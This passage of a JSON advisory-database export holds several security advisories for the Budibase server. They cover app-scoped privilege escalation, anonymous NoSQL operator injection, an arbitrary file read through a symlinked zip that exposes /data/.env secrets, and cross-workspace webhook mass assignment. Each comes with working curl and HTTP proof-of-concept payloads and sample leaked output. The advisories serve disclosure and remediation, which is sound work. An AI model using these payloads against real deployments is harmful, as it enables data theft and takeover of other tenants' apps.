3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cWNqLW01d3Atam1mNM4ABfsl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qOWZjLXczbXIteDZtds4ABfsk","url":"https://github.com/advisories/GHSA-j9fc-w3mr-x6mv","title":" Budibase: Privilege escalation via public role assignment API missing app-level authorization","description":"### Summary\n\nBudibase `3.39.19` (commit `03fbabae4`) is affected by a privilege-escalation / missing-authorization flaw in the public role-assignment API. An **app-scoped builder** (a user who builds only specific apps — `user.builder.apps = [appA]`, not a global builder or admin) can grant **themselves builder access to ANY other app in the tenant**, or assign themselves/any user an arbitrary data-plane role (e.g. `ADMIN`) in any app, by calling `POST /api/public/v1/roles/assign`. The endpoint only authorizes the two *global* flags (`admin`, `builder`); the per-app `appBuilder` and `role:{appId,roleId}` grant vectors are passed to the backend **without any authorization check that the caller controls the target app**. Reproduced in a local authorized lab using the verbatim authorization-gate and SDK logic.\n\nThis is an incomplete fix of the role-assignment hardening in commit `d63d1d9054` (\"Inline public user global role validation\"), which only ever validated the global flags.\n\n### Details\n\nThe issue is caused by authorization being implemented as a **flag-level allowlist** (`admin`/`builder`) instead of validating the *scope* the caller is granting.\n\nRelevant code paths:\n\n- `packages/server/src/api/controllers/public/globalRoleValidation.ts` — `validateGlobalRoleUpdate(ctx, roleUpdate)` only checks `roleUpdate.admin` (requires `isAdmin`) and `roleUpdate.builder` (requires `isGlobalBuilder`). The `GlobalRoleUpdate` interface declares only `{ builder?, admin? }`; `appBuilder` and `role` are not referenced.\n- `packages/server/src/api/controllers/public/roles.ts` — `assign()` does `const { userIds, ...assignmentProps } = ctx.request.body; validateGlobalRoleUpdate(ctx, assignmentProps); await sdk.publicApi.roles.assign(userIds, assignmentProps)`. The `appBuilder`/`role` props pass through unvalidated.\n- `packages/pro/src/sdk/publicApi/roles.ts` — `assign()`: for `opts.appBuilder` it sets `user.builder = { apps: existing.concat([getProdWorkspaceID(opts.appBuilder.appId)]) }`; for `opts.role` it sets `user.roles[getProdWorkspaceID(opts.role.appId)] = opts.role.roleId`. No check that the caller builds the target app, and `userIds` is an arbitrary list (`bulkGet`). The only gate is the `isExpandedPublicApiEnabled()` license check.\n- `packages/server/src/api/routes/public/index.ts` — `applyAdminRoutes(roleEndpoints)` attaches **only** `middleware.builderOrAdmin` (no `publicApi`, no `authorized(PermissionType.USER, …)`).\n- `packages/backend-core/src/middleware/builderOrAdmin.ts` — with a `workspaceId` present, it only requires `isBuilder(ctx.user, workspaceId)`. The attacker sets `x-budibase-app-id` to **their own** app (appA), so the gate passes.\n- `packages/backend-core/src/middleware/builderOnly.ts` — on the worker, `POST /api/global/self/api_key` only requires `hasBuilderPermissions(ctx.user)`, which is true for app-scoped builders, so the attacker can self-issue a public API key.\n- `packages/shared-core/src/sdk/documents/users.ts` — `isGlobalBuilder` is false for app-scoped builders (so the global `builder` flag is correctly blocked), while `isBuilder(user, appA)` and `hasBuilderPermissions(user)` are true.\n\nAttack flow:\n\n1. Attacker is an app-scoped builder of `appA` only (no global builder/admin).\n2. `POST /api/global/self/api_key` (worker) — passes `builderOnly` via `hasBuilderPermissions` → attacker obtains a public API key.\n3. `POST /api/public/v1/roles/assign` with header `x-budibase-app-id: \u003cappA prod id\u003e` and body `{\"userIds\":[\"\u003cself\u003e\"],\"appBuilder\":{\"appId\":\"\u003cappB\u003e\"}}` — `builderOrAdmin` passes (`isBuilder(user, appA)`), `validateGlobalRoleUpdate` ignores `appBuilder`, the SDK pushes `appB` into `user.builder.apps`.\n4. Attacker is now a builder of `appB` (and, via the `role` vector, can set any data-role such as `ADMIN` in any app).\n\nSecurity boundary crossed:\n\n- **Before:** builder of `appA` only.\n- **After:** builder of `appB` (and any other app) → read/modify all rows, read datasource configs and exfiltrate stored datasource credentials, edit automations (including the `bash`/`executeScript`/`executeQuery` steps); plus arbitrary data-role assignment in any app.\n- **Why disallowed:** the per-app builder model is meant to isolate builders to their assigned apps; a builder of one app must not gain authority over apps they were never granted.\n\n### PoC\n\nEnvironment:\n\n- Budibase version: `3.39.19`, commit `03fbabae4`\n- Deployment: Business/Enterprise license required (`isExpandedPublicApiEnabled`)\n- Attacker role: app-scoped builder (`user.builder.apps=[appA]`), not global builder/admin\n- Mock services: none needed for the unit-level proof; HTTP PoC script provided for a licensed lab\n\nSteps (unit-level proof, no license needed — verbatim auth-gate + SDK logic):\n\n1. Run the verification harness:\n\n```bash\ncd D:/CVE-Hunting/budibase-audit-output/lab\nnode harness/verify-privesc-authz.cjs\n```\n\n2. Observed result (evidence: `evidence/lab-privesc-authz.log`):\n\n```text\n[PASS-VALIDATION] appBuilder:{appId:APP_B}          -\u003e NOT rejected\n[PASS-VALIDATION] role:{appId:APP_B, roleId:'ADMIN'}-\u003e NOT rejected\n[BLOCKED 403]      builder:true (global)            -\u003e Only global builders or admins ...\n[BLOCKED 403]      admin:true (global)              -\u003e Only global admins ...\nafter : builder={\"apps\":[\"app_A...\",\"app_B...\"]} roles={\"app_B...\":\"ADMIN\"}\nisBuilder(attacker, APP_B) now = true   \u003c-- escalated to builder of APP_B\n```\n\nSteps (HTTP PoC for a licensed lab — `poc/privesc-roles-assign.sh`):\n\n```bash\n# 1) self-issue API key\ncurl -X POST http://localhost:10000/api/global/self/api_key -H \"Cookie: \u003cattacker session\u003e\" -d '{}'\n# 2) escalate: grant self builder of appB\ncurl -X POST http://localhost:10000/api/public/v1/roles/assign \\\n  -H \"x-budibase-api-key: \u003cKEY\u003e\" -H \"x-budibase-app-id: \u003cappA prod id\u003e\" \\\n  -H \"content-type: application/json\" \\\n  -d '{\"userIds\":[\"\u003cself global id\u003e\"],\"appBuilder\":{\"appId\":\"\u003cappB\u003e\"}}'\n```\n\n3. Expected result:\n\n```text\nThe request should be rejected (403) — an app-scoped builder must not be able to grant\nitself builder/role access to an app it does not control. Instead it returns 200 and the\ngrant is applied.\n```\n\nEvidence files:\n\n- `evidence/lab-privesc-authz.log`\n- `poc/verify-privesc-authz.cjs`, `poc/privesc-roles-assign.sh`\n\n**Runtime limitation:** full HTTP end-to-end requires a Business/Enterprise license (`isExpandedPublicApiEnabled`); no license was cracked. The authorization defect is proven at unit level with the verbatim validation + SDK logic, and the route→validation→SDK call chain was independently verified by source review.\n\n### Source PoC\n\n[Budibase-GHSA-Reports.zip](https://github.com/user-attachments/files/29161435/Budibase-GHSA-Reports.zip)\n\n### Impact\n\nAn attacker holding an **app-scoped builder** role on a single app in a licensed (Business/Enterprise) tenant can:\n\n* escalate to builder of **every other app** in the tenant (cross-app/workspace isolation bypass);\n* read and modify all rows in those apps;\n* read those apps' datasource configurations and **exfiltrate stored datasource credentials**;\n* edit automations in those apps, including server-side execution steps;\n* assign arbitrary data-plane roles (e.g. `ADMIN`) in any app to any user, including themselves.\n\nIt does **not** grant the global `admin`/`builder` flags (those are validated), so it is not a direct global-admin takeover; but cross-app builder is effectively a tenant-wide app/data-plane compromise. No real secrets were accessed during testing; the lab used canary-only data.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:12:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-j9fc-w3mr-x6mv","https://github.com/Budibase/budibase/releases/tag/3.40.0","https://github.com/advisories/GHSA-j9fc-w3mr-x6mv"],"source_kind":"github","identifiers":["GHSA-j9fc-w3mr-x6mv","CVE-2026-73305"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.731Z","updated_at":"2026-09-12T11:00:57.778Z","epss_percentage":0.00458,"epss_percentile":0.38433,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOWZjLXczbXIteDZtds4ABfsk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qOWZjLXczbXIteDZtds4ABfsk","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOWZjLXczbXIteDZtds4ABfsk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04cXYzLXA0NzktY2o2Ms4ABZTb","url":"https://github.com/advisories/GHSA-8qv3-p479-cj62","title":"Budibase has nonymous NoSQL operator injection via published-app query templates","description":"## Summary\n\n`enrichContext` at `packages/server/src/sdk/workspace/queries/queries.ts:121-138` substitutes parameter values into the raw JSON body of a query, then `JSON.parse`s the result. The validator `validateQueryInputs` at `packages/server/src/api/controllers/query/index.ts:61-71` rejects only Handlebars markers (`{{`, `}}`) in user input and does not escape JSON metacharacters (`\"`, `\\`, `}`). A parameter value containing a closing quote and additional keys lifts attacker-controlled fields into the parsed filter object.\n\nFor Mongo `find`, the parsed filter passes directly to `collection.find()` (`packages/server/src/integrations/mongodb.ts:506-510`). Duplicate-key JSON parsing overrides the builder's `{name: \"...\"}` with `{name: {$exists: true}}` and returns every document. The same primitive against an `updateMany` query (`mongodb.ts:577-585`) widens the filter scope to the full collection while the builder-controlled `$set` body runs against every matched document.\n\nThe `authorized` middleware at `packages/server/src/middleware/authorized.ts:141-148` short-circuits when the query's role is `PUBLIC`. CSRF is not enforced on this path. `POST /api/v2/queries/:queryId` (`packages/server/src/api/routes/query.ts:63`) accepts the call with no session, only an `x-budibase-app-id` header that is public from the published-app URL.\n\nResult: an unauthenticated visitor of any published Budibase app reads every document of the backing MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST-with-JSON-body collection and, where the builder has published a PUBLIC write query, modifies every document of that collection with one HTTP request.\n\n## Affected\n\n`Budibase/budibase` server, `@budibase/server` package, `\u003c= 3.39.0` (HEAD `feab995`, released 2026-05-20).\n\nReachable on any deployment where a workspace builder has set the role of a non-SQL query (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST with `bodyType=json`) to `PUBLIC` and published the app. This is the canonical low-code public-form use case.\n\nSQL datasources (Postgres, MySQL, MSSQL, Oracle, MariaDB) route through `interpolateSQL` and are not affected.\n\n## Root cause\n\n`packages/server/src/sdk/workspace/queries/queries.ts:121-138`: `processStringSync(fields[key], parameters, {noEscaping: true, noHelpers: true})` writes the raw parameter value into the JSON-body string with no JSON-string escape; the followup `JSON.parse(enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody)` lifts the substituted text into the integration filter object.\n\n`packages/server/src/api/controllers/query/index.ts:61-71`: `validateQueryInputs` only rejects values where `findHBSBlocks(value).length !== 0` (Handlebars markers) and ignores JSON metacharacters.\n\n`packages/server/src/integrations/mongodb.ts:506-510`: `collection.find(json)` receives the user-controlled filter object directly with no key prefix or operator allow-list.\n\n`packages/server/src/integrations/mongodb.ts:577-585`: `collection.updateMany(json.filter, json.update, json.options)` accepts the templated filter without verifying that the substituted filter still matches the builder's intent.\n\n`packages/server/src/middleware/authorized.ts:141-148`: `if (resourceRoles.includes(roles.BUILTIN_ROLE_IDS.PUBLIC)) return next()` skips both authentication and CSRF.\n\n`packages/server/src/integrations/queries/sql.ts:29-122`: `interpolateSQL` rewrites every `{{ binding }}` to a positional bind placeholder (`$N` or `?`). The SQL leg is bind-parameterised; the JSON leg is not.\n\n## Reproduction\n\n`budibase/budibase:latest` (`v3.39.0`) Docker single-container, default config. Builder logs in once, creates a MongoDB datasource, creates a query `GetUserByName` with body `{ \"name\": \"{{ name }}\" }`, sets the query role to `PUBLIC`, and publishes the app.\n\n1. Anonymous client sends the inject payload to the read query.\n\n```http\nPOST /api/v2/queries/\u003cread-queryId\u003e HTTP/1.1\nHost: \u003cbudibase-host\u003e\nx-budibase-app-id: \u003cpublished-appId\u003e\nContent-Type: application/json\n\n{\"parameters\":{\"name\":\"x\\\",\\\"name\\\":{\\\"$exists\\\":true},\\\"$comment\\\":\\\"audit\"}}\n```\n\n```json\n{\"data\":[\n  {\"_id\":\"...\",\"name\":\"alice\",\"secret\":\"alice-secret-flag\"},\n  {\"_id\":\"...\",\"name\":\"bob\",\"secret\":\"bob-secret-flag\"},\n  {\"_id\":\"...\",\"name\":\"admin\",\"role\":\"admin\",\"secret\":\"ADMIN-SUPER-SECRET-FLAG\"}\n]}\n```\n\n2. Builder publishes a second query `TouchUser` (verb `update`, action `updateMany`, body `{ \"filter\": { \"name\": \"{{ name }}\" }, \"update\": { \"$set\": { \"touched\": true } } }`, role `PUBLIC`). Anonymous client sends the same inject pattern.\n\n```http\nPOST /api/v2/queries/\u003cupdateMany-queryId\u003e HTTP/1.1\nHost: \u003cbudibase-host\u003e\nx-budibase-app-id: \u003cpublished-appId\u003e\nContent-Type: application/json\n\n{\"parameters\":{\"name\":\"x\\\",\\\"name\\\":{\\\"$exists\\\":true},\\\"$comment\\\":\\\"esc\"}}\n```\n\n```json\n{\"data\":[{\"acknowledged\":true,\"matchedCount\":3,\"modifiedCount\":3,\"upsertedId\":null,\"upsertedCount\":0}]}\n```\n\nLive-verified: against Budibase v3.39.0 on 2026-05-20, anonymous read returned every document including `ADMIN-SUPER-SECRET-FLAG`; anonymous `updateMany` reported `matchedCount: 3, modifiedCount: 3` against a 3-document collection where the builder's filter intended `name = \"x\"`.\n\n## Impact\n\n- Anonymous read of every document in any backing MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST-with-JSON-body collection reachable through a `PUBLIC` query, including columns the published query was not designed to return (`password_hash`, `secret`, `api_token`, `mfa_secret`).\n- Anonymous modification of every document of that collection where the builder has published a `PUBLIC` `update`, `delete`, or `aggregate` query, beyond the builder's intended single-document scope.\n- One HTTP request, no session, no CSRF, no user interaction.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-06-23T17:43:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-8qv3-p479-cj62","https://nvd.nist.gov/vuln/detail/CVE-2026-54350","https://github.com/advisories/GHSA-8qv3-p479-cj62"],"source_kind":"github","identifiers":["GHSA-8qv3-p479-cj62","CVE-2026-54350"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-09-12T11:01:42.629Z","epss_percentage":0.00538,"epss_percentile":0.43562,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cXYzLXA0NzktY2o2Ms4ABZTb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04cXYzLXA0NzktY2o2Ms4ABZTb","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.12","vulnerable_version_range":"\u003c 3.39.12"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cXYzLXA0NzktY2o2Ms4ABZTb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13N21xLXI3MzgteDI3OM4ABZRj","url":"https://github.com/advisories/GHSA-w7mq-r738-x278","title":"Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload","description":"## Summary\n\n`POST /api/pwa/process-zip` at `packages/server/src/api/routes/static.ts:24` accepts a builder-uploaded `.zip`, extracts it with `extract-zip@2.0.1` into a temp directory, then for each entry listed in `icons.json` validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via `GET /api/assets/{appId}/pwa/{uuid}.png`.\n\n`extract-zip@2.0.1` preserves absolute symlink targets when restoring symlink entries. The icon-source validator at `packages/server/src/api/controllers/static/index.ts:259-268` resolves the icon source string against `baseDir` (`path.resolve`), checks `resolvedSrc.startsWith(baseDir + path.sep)` against that string, and calls `fs.existsSync(resolvedSrc)` which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at `baseDir/evil.png` but pointing at `/data/.env` passes the gate.\n\n`packages/backend-core/src/objectStore/objectStore.ts:302` then calls `(await fsp.open(path)).createReadStream()` on the resolved path. `fsp.open` follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.\n\nResult: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including `/data/.env` with `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_*`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `DATABASE_URL`) by uploading one crafted PWA zip.\n\n## Affected\n\n`Budibase/budibase` server, `@budibase/server` package, `\u003c= 3.39.0` (HEAD `feab995`, released 2026-05-20).\n\nReachable in stock self-hosted deployments. The default `budibase/budibase:latest` Docker image runs the Node server as `root` inside the container; the server process opens `/etc/passwd`, `/etc/shadow`, `/data/.env`, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.\n\nNot affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.\n\n## Root cause\n\n`packages/server/src/api/routes/static.ts:24`: `.post(\"/api/pwa/process-zip\", authorized(BUILDER), controller.processPWAZip)` exposes the endpoint to any workspace builder; the only permission required is `BUILDER`.\n\n`packages/server/src/api/controllers/static/index.ts:235`: `await extract(filePath, { dir: tempDir })` calls `extract-zip@2.0.1`, which preserves absolute symlink targets when restoring symlink entries.\n\n`packages/server/src/api/controllers/static/index.ts:259-268`: the icon validator (`path.resolve` + `resolvedSrc.startsWith(baseDir + path.sep)` + `fs.existsSync`) operates on the resolved string path and on `fs.existsSync` (which follows symbolic links). A symlink stored under `baseDir` whose target points anywhere reachable by the server passes the gate as long as the target exists.\n\n`packages/backend-core/src/objectStore/objectStore.ts:302`: `(await fsp.open(path)).createReadStream()` follows the symlink and streams the target file's bytes; the object lands in MinIO under `{appId}/pwa/{uuid}{extension}` and is served by `GET /api/assets/{appId}/pwa/{uuid}.{ext}` (`packages/server/src/api/routes/static.ts:21`).\n\n`hosting/single/Dockerfile`: the production single-container image runs the Node server as `root`, so the read primitive reaches `/etc/shadow`, `/data/.env`, and every other root-readable path.\n\n## Reproduction\n\n`budibase/budibase:latest` (`v3.39.0`) Docker single-container on `localhost:10000`, default config, with any workspace builder logged in. Cookie jar and `\u003cCSRF\u003e` token come from `GET /api/global/self`.\n\n1. Builder uploads a zip containing one symlink entry that targets `/data/.env`, plus an `icons.json` that references the symlink.\n\n```bash\nmkdir attack \u0026\u0026 cd attack\nln -s /data/.env evil.png\nprintf '{\"name\":\"x\",\"icons\":[{\"src\":\"evil.png\",\"sizes\":\"192x192\",\"type\":\"image/png\"}]}' \u003e icons.json\nzip -y attack.zip icons.json evil.png\n\ncurl -s \"http://localhost:10000/api/pwa/process-zip\" \\\n  -b cookies.txt \\\n  -H \"x-budibase-app-id: \u003cappId\u003e\" \\\n  -H \"x-csrf-token: \u003cCSRF\u003e\" \\\n  -F \"file=@attack.zip\"\n```\n\n```json\n{\"icons\":[{\"src\":\"\u003cappId\u003e/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png\",\"sizes\":\"192x192\",\"type\":\"image/png\"}]}\n```\n\n2. Builder fetches the resulting \"icon\".\n\n```http\nGET /api/assets/\u003cappId\u003e/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1\nHost: localhost:10000\nCookie: budibase:auth=\u003cJWT\u003e; budibase:auth.sig=\u003cSIG\u003e\n```\n\n```\nCOUCHDB_USER=admin\nCOUCHDB_PASSWORD=admin\nMINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def\nMINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778\nINTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c\nJWT_SECRET=c5441dc903f845bdb93a98b949a612b2\nREDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c\nDATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm\n```\n\nLive-verified: the response body of the asset-fetch endpoint is byte-identical to `docker exec budibase cat /data/.env`; `/etc/passwd` and `/etc/shadow` extract via the same primitive when their permissions allow root reads.\n\n## Impact\n\n- Disclosure of `/data/.env`: `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `LITELLM_MASTER_KEY`, `DATABASE_URL`.\n- HS256 JWT forge with the leaked `JWT_SECRET` against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin.\n- Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.\n- Disclosure of `/etc/passwd` and `/etc/shadow` via the same primitive when the container runs as `root` (the shipped default).\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-06-22T23:33:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-w7mq-r738-x278","https://nvd.nist.gov/vuln/detail/CVE-2026-54352","https://github.com/advisories/GHSA-w7mq-r738-x278"],"source_kind":"github","identifiers":["GHSA-w7mq-r738-x278","CVE-2026-54352"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T00:00:09.088Z","updated_at":"2026-09-03T07:01:34.265Z","epss_percentage":0.00494,"epss_percentile":0.40505,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13N21xLXI3MzgteDI3OM4ABZRj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13N21xLXI3MzgteDI3OM4ABZRj","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.9","vulnerable_version_range":"\u003c 3.39.9"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13N21xLXI3MzgteDI3OM4ABZRj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yZ3ZnLTN3cGMtaDQ0cM4ABZRg","url":"https://github.com/advisories/GHSA-rgvg-3wpc-h44p","title":"Budibase: Mass Assignment in Webhook Trigger Allows Cross-Workspace Automation Execution via appId Override","description":"## Summary\n\nThe webhook trigger endpoint in Budibase is publicly accessible and passes the full HTTP request body into automation execution parameters. A mass assignment vulnerability in `externalTrigger()` allows an attacker to overwrite the internal `appId` property by including it in the webhook POST body. When the automation is processed asynchronously (the default path for webhooks without a collect step), the worker executes the attacker-defined automation in the context of the victim's workspace, granting full read/write access to the victim's database.\n\n## Details\n\nThe webhook trigger route is registered as a public endpoint with no authentication:\n\n```typescript\n// packages/server/src/api/routes/webhook.ts:12\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe controller passes the raw request body as `fields` alongside the server-derived `appId`:\n\n```typescript\n// packages/server/src/api/controllers/webhook.ts:142-148\nawait triggers.externalTrigger(target, {\n  fields: {\n    ...ctx.request.body,  // attacker-controlled\n    body: ctx.request.body,\n  },\n  appId: prodAppId,       // server-controlled\n})\n```\n\nIn `externalTrigger()`, for webhook-triggered automations, `params.fields` is spread back into `params`:\n\n```typescript\n// packages/server/src/automations/triggers.ts:237-241\nparams = {\n  ...params,          // appId: prodAppId (server-controlled)\n  ...params.fields,   // appId: VICTIM_ID (attacker-controlled, overwrites above)\n  fields: {},\n}\n```\n\nBecause `params.fields` is spread **after** `params`, any key in the attacker's body overwrites the corresponding property in `params`. An attacker including `\"appId\": \"app_VICTIM_WORKSPACE_ID\"` in the POST body overwrites the legitimate, server-derived `appId`.\n\nThe contaminated params become `data.event` and are queued asynchronously:\n\n```typescript\n// packages/server/src/automations/triggers.ts:244,271\nconst data: AutomationData = { automation, event: params }\n// ...\nreturn quotas.addAction(() =\u003e automationQueue.add(data, JOB_OPTS))\n```\n\nThe async worker uses `job.data.event.appId` to set the workspace context:\n\n```typescript\n// packages/server/src/threads/automation.ts:917,929-930\nconst workspaceId = job.data.event.appId  // attacker-controlled\n// ...\nreturn await context.doInAutomationContext({\n  workspaceId,  // victim's workspace\n  automationId,\n  task: async () =\u003e { /* automation steps run here */ }\n})\n```\n\nThe synchronous path (for webhooks with a collect step) correctly overwrites `appId` at `triggers.ts:264`:\n```typescript\ndata.event = {\n  ...data.event,\n  appId: context.getWorkspaceId(),  // server-controlled fix\n  automation,\n}\n```\n\nThis proves the developers intended `appId` to be server-controlled but missed applying the same fix to the async path, which is the default for all webhooks without a collect step.\n\n## PoC\n\n**Prerequisites:** Attacker has builder access to their own Budibase workspace and knows a victim workspace ID (format: `app_\u003cuuid\u003e`).\n\n**Step 1:** Attacker creates an automation in their own workspace with a webhook trigger and data-exfiltration steps (e.g., Query Rows → Execute Script to send data externally).\n\n**Step 2:** Attacker creates a webhook for that automation and notes the webhook URL:\n```\nPOST /api/webhooks/trigger/\u003cATTACKER_INSTANCE\u003e/\u003cWEBHOOK_ID\u003e\n```\n\n**Step 3:** Attacker triggers the webhook with the victim's workspace ID injected into the body:\n\n```bash\ncurl -X POST https://budibase.example.com/api/webhooks/trigger/app_ATTACKER_ID/wh_WEBHOOK_ID \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"appId\": \"app_VICTIM_WORKSPACE_ID\", \"normalData\": \"test\"}'\n```\n\n**Expected result:** The automation defined in the attacker's workspace executes in the context of the victim's workspace. All database operations (Query Rows, Create Row, Delete Row, Execute Script, etc.) operate on the victim's data.\n\n**Additional overridable fields via the same mechanism:**\n- `timeout` (`automation.ts:443-444`): override automation execution timeout\n- `user` (`automation.ts:413,435`): set user context for automation steps\n- `metadata.automationChainCount` (`automation.ts:293`): bypass chain depth limits\n\n## Impact\n\nAn attacker with builder access to their own Budibase workspace can execute arbitrary automations (of their own design) in the context of any other workspace on the same Budibase instance, provided they know the victim's workspace ID. This enables:\n\n- **Full data exfiltration**: Query Rows steps read all tables in the victim's workspace\n- **Data manipulation**: Create Row, Update Row, Delete Row steps modify victim data\n- **Arbitrary code execution in victim context**: Execute Script steps run JavaScript with access to victim's environment variables and database\n- **Cross-tenant boundary violation**: In multi-tenant deployments (Budibase Cloud), the tenant ID is derived from the workspace ID, so the attack crosses tenant boundaries\n\nThe attack requires no authentication (the webhook endpoint is public) and leaves minimal audit trail since the automation execution is attributed to the attacker's automation definition but runs in the victim's context.\n\n## Recommended Fix\n\nIn `packages/server/src/automations/triggers.ts`, apply the same `appId` fix that exists in the synchronous path to the async path as well. The fix should ensure `appId` is always server-controlled before queuing:\n\n```typescript\n// packages/server/src/automations/triggers.ts:244-272\nconst data: AutomationData = { automation, event: params }\n\n// ... trigger filter check ...\n\n+ // Ensure appId is always server-controlled, not user-supplied\n+ data.event.appId = context.getWorkspaceId()\n\nif (getResponses) {\n  data.event = {\n    ...data.event,\n    appId: context.getWorkspaceId(),\n    automation,\n  }\n  return quotas.addAction(() =\u003e\n    executeInThread({ data } as AutomationJob, { onProgress })\n  )\n} else {\n  return quotas.addAction(() =\u003e automationQueue.add(data, JOB_OPTS))\n}\n```\n\nAlternatively, use an allowlist approach for the webhook field spread to prevent any internal property from being overwritten:\n\n```typescript\n// packages/server/src/automations/triggers.ts:237-241\nconst { appId, timeout, user, metadata, ...safeFields } = params.fields\nparams = {\n  ...params,\n  ...safeFields,\n  fields: {},\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-22T23:20:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-rgvg-3wpc-h44p","https://nvd.nist.gov/vuln/detail/CVE-2026-54351","https://github.com/advisories/GHSA-rgvg-3wpc-h44p"],"source_kind":"github","identifiers":["GHSA-rgvg-3wpc-h44p","CVE-2026-54351"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T00:00:09.088Z","updated_at":"2026-09-12T11:01:44.201Z","epss_percentage":0.00461,"epss_percentile":0.38625,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZ3ZnLTN3cGMtaDQ0cM4ABZRg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yZ3ZnLTN3cGMtaDQ0cM4ABZRg","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.9","vulnerable_version_range":"\u003c 3.39.9"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZ3ZnLTN3cGMtaDQ0cM4ABZRg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNWM0LXJ2YzgtZnJobc4ABZRh","url":"https://github.com/advisories/GHSA-35c4-rvc8-frhm","title":"Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials","description":"## Summary\n\nThe Budibase server route `POST /api/attachments/:datasourceId/url` ([`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts)) is registered with **only** the `recaptcha` middleware. There is no `authorized(...)` middleware in the chain. The controller 